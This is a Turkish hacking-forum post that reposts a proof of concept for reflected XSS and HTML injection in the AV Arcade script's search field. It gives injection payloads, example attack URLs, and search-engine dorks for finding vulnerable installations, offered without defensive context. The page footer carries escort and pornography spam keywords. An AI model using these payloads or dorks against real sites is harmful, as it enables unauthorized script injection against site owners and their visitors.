KULLANICI ADI : ŞİFRE Şifremi Unuttum*

Anasayfa İLLEG4L BANK KREDİ SATIN AL İLLEG4LİZM RAP Sub Domain Bulucu Arama Yap Yeni Konular Bugünki Konular

Konuyu Oyla:
  • Derecelendirme: 0/5 - 0 oy
  • 1
  • 2
  • 3
  • 4
  • 5
AV Arcade Search Field XSS/HTML Injection
Konu : AV Arcade Search Field XSS/HTML Injection - 03.02.2015, 14:53
Mesaj: #1
Kod:
Description:
AV arcade is a free arcade script from AV Scripts. It has features which easily match those of paid scripts.
 
POC:
Go to search field and query those strings:
HTML Injection: "><marquee>hey, this works!</marquee>
XSS: "><script>alert(String.fromCharCode(88,83,83))</script>
 
Example:
http://[site]/index.php?task=search&q="><marquee>hey, xss!</marquee>
http://[site]/index.php?task=search&q="><script>alert(String.fromCharCode(88,83,83))</script>
 
Dorks:
"Powered by AV Arcade v3"
"Powered by AV Arcade v4"
"Powered by AV Arcade Free Edition"
"Powered by AV Arcade Pro"

WWW Alıntı ile Cevapla


Hızlı Menü:


Konuyu Okuyanlar: 1 Ziyaretçi
antalya escort türk ifşa porno izle türk ifşa porno samsun escort izmir escort türk ifşa hd porno